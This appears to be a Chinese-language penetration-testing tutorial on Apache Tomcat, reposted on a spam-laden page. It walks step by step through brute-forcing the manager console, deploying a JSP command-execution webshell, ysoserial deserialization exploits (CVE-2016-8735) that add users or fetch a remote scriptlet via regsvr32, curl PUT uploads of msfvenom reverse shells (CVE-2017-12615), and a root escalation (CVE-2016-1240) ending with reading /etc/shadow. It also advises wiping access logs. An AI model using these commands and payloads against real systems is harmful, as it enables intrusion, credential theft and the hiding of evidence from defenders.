当前位置: 首页 > news >正文

内江网站怎么做seo美了一站式变美共享平台

内江网站怎么做seo,美了一站式变美共享平台,android系统开发教程,wordpress 错误500Tomcat 服务器是一个开源的轻量级Web应用服务器#xff0c;在中小型系统和并发量小的场合下被普遍使用。主要组件#xff1a;服务器Server#xff0c;服务Service#xff0c;连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container…Tomcat 服务器是一个开源的轻量级Web应用服务器在中小型系统和并发量小的场合下被普遍使用。主要组件服务器Server服务Service连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起加上其他一些支持的组件共同组成一个Service服务有了Service服务便可以对外提供能力了。对外提供服务的同时部分低版本tomcat却存在漏洞漏洞被利用导致服务被攻击造成极大破坏。下面针对tomcat漏洞进行分析 Tomcat的几大高危漏洞 Tomcat后台弱口令上传war包tomcat管理弱口令页面getshell。 Tomcat的PUT的上传漏洞(CVE-2017-12615) tomcat put方法任意文件上传CVE-2017-12615。 Tomcat反序列化漏洞(CVE-2016-8735) tomcat反序列化漏洞CVE-2016-8735。 Tomcat 样例目录session操控漏洞Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞。 Tomcat本地提权漏洞(CVE-2016-1240)Tomcat本地提权漏洞分析与防御。 Tomcat 漏洞列表 Apache Tomcat 拒绝服务漏洞CVE-2014-0230 Apache Tomcat Manager和Host Manager应用程序安全漏洞(CVE-2015-5351) Apache Tomcat session-persistence 远程代码执行漏洞(CVE-2016-0714) Apache Tomcat 会话固定漏洞(CVE-2015-5346) Apache Tomcat 远程代码执行漏洞(CVE-2016-8735) Apache Tomcat Commons Fileupload 拒绝服务漏洞(CVE-2016-3092) Apache Tomcat httpoxy 安全漏洞(CVE-2016-5388) Apache Tomcat 安全绕过漏洞(CVE-2016-6816) Apache Tomcat AJP协议安全绕过漏洞 Apache Tomcat 安全绕过漏洞(CVE-2012-3439) Tomcat 拒绝服务漏洞(CVE-2014-0050) Apache Tomcat 安全漏洞(CVE-2017-6056) Apache Tomcat 安全漏洞(CVE-2017-5648) Apache Tomcat Default Servlet 安全漏洞(CVE-2017-5664) Tomcat 信息泄露漏洞(CVE-2017-12616) Apache Tomcat 安全漏洞(CVE-2017-12617) Apache Tomcat 安全漏洞(CVE-2017-5647) Apache Tomcat 安全漏洞(CVE-2018-1304) Apache Tomcat 安全漏洞(CVE-2018-1305) 本文要点 1 发现目标的所有 tomcat 管理控制台入口 2 低版本 tomcat 管理控制台manager的弱口令爆破 3 通过 tomcat 默认管理控制台的 war 包部署功能部署 webshell 4 CVE-2016-8735 远程代码执行利用 5 CVE-2017-12615 put 方法任意文件上传利用 6 CVE-2016-1240 本地提权利用 Ubuntu,debian 中的 tomcat deb包 1 如何快速发现目标的各类tomcat管理控制台入口 第一种,通过常规端口扫描,获取服务banner # nmap -n -sT -Pn --open -v -p 8080-8090,8443 -sV 192.168.3.100-200tomcat 的默认端口通常情况下都会在这个区间内,至于具体用什么扫无所谓,masscan,zmap 都一样,只不过 nmap 会识别的更精准 第二种,通过各类外部web搜索引擎进行批量抓取 inurl:/manager/html intitle:apache tomcat site:.target. Tomcat 控制台的默认路径/manager/html。也可以只找特定版本的 tomcat。 第三种,通过各类空间搜索引擎进行批量抓取 shodanzoomeyefofacensys… net:“112.112.0.0/16” port:“8080” product:“Apache Tomcat/Coyote JSP engine” 可先获取它的 as 号然后再根据 as 号查到的网段批量抓 tomcat 入口 探测发现后,想办法利用 2 先从低版本tomcat管理控制台进行弱口令爆破tomcat-6.0.9在7.x 后的版本加入了防暴力破解所以针对tomcat 7.x 以后的版本不用考虑爆破。 先添加好 tomcat 控制台角色用户到 tomcat-users.xml文件的标签内添加如下用户。 配置完之后,运行 startup.bat 脚本即可启动 tomcat 服务 爆破的方式很多可以利用msf tomcat_mgr_login爆破/自行写脚本/burpsuite请求的时候要先把账号密码 base64encode。至于常见的弱口令可以去github找。 爆破会在目标的web访问日志中留下大量的请求记录当搞定进入对方机器之后要把把自己 ip 的所有请求日志都清除掉。 3 通过上面过程如果登录到目标tomcat manager接下来就是想办法利用tomcat默认管理控制台自动war包部署功能部署我们的webshell了。 这次我们用 tomcat 9.0.10来进行演示 注意,可能是 tomcat 官方为了安全起见,在 tomcat8.x 之后版本的 manager 默认可能已经不再允许直接远程访问了,只允许本地访问,这也就是为什么有时候,你在访问目标的 manager/html 会出现 403 的情况 webapps\manager\META-INF\context.xml 文件 Valve className“org.apache.catalina.valves.RemoteAddrValve” allow“\d.\d.\d.\d” / 此正则表示允许任意地址访问 添加管理控制台角色用户tomcat-users.xml 文件 环境搭建好之后我们就可以来看看如何部署自己的war包webshell了寻找manager中用于部署war包的上传点然后上传自己的war包至于你的war包webshell是一句话/大马/meterpreter自己随意。 命令执行利用的webshell为例就两参数一个传命令一个给密码然后循环把执行结果打出来。 java.io.InputStream inRuntime.getRuntime().exec(request.getParameter(cr)).getInputStream(); int a -1; byte[] b new byte[1024]; while((ain.read(b))!-1) { out.println(new String(b)); } 如下则是 war 包 webshell 的简单制作过程 # jar -cvf Readme.war Readme.jsp上传制作好的 war 包 webshell点击部署。 Tomcat 便会自动帮我们部署好并启动它,如下 在 POST 中带上密码和命令去访问自己的 webshell 地址就可以看到执行结果。 POST: ausk15cripconfig /all 关于防御: war 包webshell部署并不算是漏洞只是tomcat 的一个正常功能被入侵者利用了。最根本的办法就是删掉 manager目录实际业务几乎也不大会用到 。另外就是些加固型的防御手段提高攻击门槛。加强登录口令/web访问日志实时监控爆破/借助系统防火墙拦截/cc防护… 4 CVE-2016-8735 远程代码执行利用过程 漏洞影响 tomcat 版本tomcat 8.0.36为例: Apache Tomcat 9.0.0.M1 to 9.0.0.M11 Apache Tomcat 8.5.0 to 8.5.6 Apache Tomcat 8.0.0.RC1 to 8.0.38 Apache Tomcat 7.0.0 to 7.0.72 Apache Tomcat 6.0.0 to 6.0.47 在 tomcat 中默认会使用JmxRemoteLifecycleListener 这个监听器来监控 tomcat 平时的各种运行状态。 但 Oracle 在修复了JmxRemoteLifecycleListener 反序列化漏洞[CVE-2016-3427]后却忘记了及时对tomcat中的jmx监听器进行升级。 所以它本质还是 jmx 的漏洞并非 tomcat 自身漏洞。 实际上 JmxRemoteLifecycleListener 平时用来做监控居多实际直接从外部碰到该端口的机会也并不是特别多。 漏洞利用过程 先搭建好基础环境配置 JmxRemoteLifecycleListener监听器。 而后编辑conf\server.xml文件添加如下的监听器 之后,再去编辑bin\catalina.bat 文件添加如下变量直接在 setlocal 下面开始添加。 语句的主要作用是方便别人远程连过来对此 jvm 进行监控注意此处是没有启用用户认证。 set JAVA_OPTS-Dcom.sun.management.jmxremote -Djava.rmi.server.hostname192.168.x.x -Dcom.sun.management.jmxremote.port1099 -Dcom.sun.management.jmxremote.authenticatefalse -Dcom.sun.management.jmxremote.sslfalse执行\bin\startup.bat 脚本启动tomcat 不妨先用jvisualvm连过去看看监控效果 ,我们肯定得先发现目标有这样的端口才行通过nmap对指定的单个目标机器进行全端口扫描并尝试获取服务banner。 # nmap -n -sT -sV -p 1-50000 --open -Pn -v 192.168.x.x而后利用经典的ysoserial java反序列化payload工具尝试直接在远程目标机器上执行系统命令。 # java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 cmd.exe /c net user flag Admin!#45 /add像上面这样执行系统命令配合 msf 一起利用尝试弹回一个meterpreter的shell。 msf5 use exploit/multi/script/web_delivery msf5 set target 3 msf5 msf5 use exploit/multi/script/web_delivery msf5 set target 3 msf5 set payload windows/meterpreter/reverse_tcp_rc4_dns msf5 set lhost 192.168.3.7 msf5 set lport 53 msf5 set rc4password msf5 exploit -j 此处借助 regsvr 32 来远程下载执行 执行过程中需要远程下载 payload这就要求当前目标机器必须能正常通外网才行。 # java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 cmd.exe /c regsvr 32 /s /n /u /i:http://192.168.3.7:8080/CzVtq564v1ymsYr.sct scrobj.dll5 tomcat 7.0.0.x put方法的利用 [CVE-2017-12615] 该漏洞影响windows其实并不算漏洞算是服务错误配置。tomcat 全版本[并非 7.0.0-7.0.81]。 搭建好基础环境到 tomcat 的配置conf\web.xml 文件添加以下内容其实意思就是启用 tomcat 对 put/delete http 方法的支持。 现在开始尝试实际的利用过程,先用 msf 生成 jsp webshell msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST192.168.3.7 LPORT80 -f raw -o rev.jsp 通过 curl 把我们上面的webshell用重定向的方式直接 put 到目标机器的 web 根目录下。 需要注意的是,默认 Tomcat 的 Servlet 是在 conf/web.xml 中配置的当后缀名为.jsp和.jspx 的时候,就会丢给JspServlet处理。需要对后缀做些特殊的处理比如在url最后加个/ .或者%20。 curl -X PUT http://192.168.x.x:8080/Readmes.jsp/ -d - rev.jsp win linux 平台通用 curl -X PUT http://192.168.x.x:8080/Readmes.jsp. -d - rev.jsp curl -X PUT http://192.168.x.x:8080/Readmes.jsp%20 -d - rev.jsp 继续通过curl 访问执行该webshell看到目标机器的cmd shell被成功弹回。 msf5 use exploit/multi/handler msf5 set payload java/jsp_shell_reverse_tcp msf5 set lhost 192.168.3.7 msf5 set lport 80 msf5 set exitonsession false msf5 exploit –j msf5 sessions -i 16 Tomcat本地提权漏洞利用 CVE-2016-1240 受影响 tomcat 版本如下 [ 主要是针对 ubuntu 或 debian deb 包中的 tomcat 服务启动脚本,此处暂以 ubuntu 12.04 lts 为例进行演示 ] Tomcat 8 8.0.36-2 Tomcat 7 7.0.70-2 Tomcat 6 6.0.45dfsg-1~deb8u1 在tomcat服务在启动时会将log文件catalina.out的所有者改为tomcat用户启动脚本通常却是以root权限在执行。 那么就可以用创建软链接的方式在root重启tomcat服务时将任意文件的属主改为tomcat 账户。达到访问系统核心配置文件的目的。 比如事先在tomcat权限下将catalina.out修改为指向那些原本需要高权限才能访问关键系统文件的软链接。 此后root重启tomat便可以访问该系统配置文件。 利用成功的前提条件: Debian或者Ubuntu的特定 tomcat deb包必须未升级现在默认在Ubuntu14.04 以后的系统中官方在上游 apt源就早已修复了该软件包漏洞。 准备好基础环境 ubuntu 12.04 lts 系统下安装 tomcat7: 首先,安装 tomcat7 apt-get update apt-get install tomcat7 apt-get install tomcat7-admin tomcat7-examples tomcat7-docs 默认网站目录位置: /var/lib/tomcat7/webapps/ROOT 添加控制台角色用户,等会儿部署 webshell 要用 vi /etc/tomcat7/tomcat-users.xml /etc/init.d/tomcat7 restart 重启 tomcat 服务 本地浏览器访问环境配置成功 先尝试通过部署war包弹回一个低权限的meterpreter的shell。 用 msf 快速生成一个 war 包 webshell msfvenom -p java/meterpreter/reverse_https LHOST192.168.3.7 LPORT443 -f war -o options.war # chmod 777 options.war 再通过默认manager管理控制台把自己war包webshell部署到目标机器上去 本地启动msf监听访问刚刚部署好的war包webshell的地址http://x.x.x.x/options。 随后看到meterpreter被正常弹回此时弹回的权限仍然比较低,只是个tomcat服务用户权限。 msf5 use exploit/multi/handler msf5 set payload java/meterpreter/reverse_https msf5 set lhost 192.168.3.7 msf5 set lport 443 msf5 set exitonsession false msf5 exploit -j meterpreter getuid meterpreter pwd 找到catalina.out文件所在的路径默认会在/var/log/tomcat7上传 exp 脚本并赋予执行权限。 meterpreter mkdir /tmp/rootdemo meterpreter upload /root/tomcat-rootprivesc-deb.sh /tmp/rootdemo/ meterpreter pwd meterpreter cd /tmp/rootdemo meterpreter shell $ chmod x tomcat-rootprivesc-deb.sh 跟上catalina.out日志文件所在路径执行exp脚本。待目标重启tomcat服务我们便可获取一个root权限的shell在tmp目录下下会生成一个带有 suid 权限的tomcatrootsh文件。 也可把tomcat进程干掉等管理员重启tomcat。 /etc/init.d/tomcat7 restart id grep root /etc/shadow w 当目标管理员重启tomcat服务后我们便立即有了一个root权限的shell 也可把tomcat进程干掉等管理员重启tomcat。 /etc/init.d/tomcat7 restart id grep root /etc/shadow w 当目标管理员重启tomcat服务后我们便立即有了一个root权限的shell 关于防御: 更新tomcat到已修复的版本即可此类通过劫持服务配置文件提权的方式比如nginx 的某个版本也存在类似的问题。
http://www.tj-hxxt.cn/news/226935.html

相关文章:

  • 网站推广软件工具百度广告推广
  • 建网站首选公司做羞羞的事情的网站
  • 开发网站公司推荐如何建设影视网站首页
  • 做网站建设工资高吗网站结构框架图怎么做
  • 什么建设网站好短视频app开发软件
  • 网站推广策划方案书ps网站首页直线教程
  • 沧浪企业建设网站电话建设三库一平台
  • 湖南长沙网站建设公司电话三个字的洋气商标名字
  • 网站将要准备建设的内容新手做网站视频讲解
  • 网站的建设费用礼品公司网站制作
  • 江宁做网站价格企业网站建设中存在的主要问题会有哪些?
  • 做班级相册网站的目的意义高新区建设局网站
  • 网站如何做问卷调查问卷吉林城市建设学校网站
  • 爱站工具官网怎么样做好网站运营
  • 营销型网站建设公司推荐网络营销的特点中任何时间任何地点体现的是
  • 忻州企业网站建设与网站建设相关的论文题目
  • 网站会员和discuz会员同步免费制作图片带字软件
  • 行政机关单位网站建设深圳网站建设yuntianxia
  • 营销者网站买服务器做网站 镜像选什么
  • 杭州市建设职业中心网站常州网站建设代理商
  • 网站备案vpn注销百度如何搜索网址
  • 建网站的设备网站开发人员知乎
  • 免费注册个人网站官网上海网络seo公司
  • 怎样建设网站后台做网站发布网
  • 上市公司网站建设分析做网站销售电销好做吗
  • 网站为什么功能需求运城网站推广
  • 对于公司网站建设的一些想法宁波企业网站制作
  • 电子商务网站开发形式选择北京东道设计
  • 响应式网站 html农家乐网站源码
  • 微信的微网站模板网站怎么让百度收录一张图做封面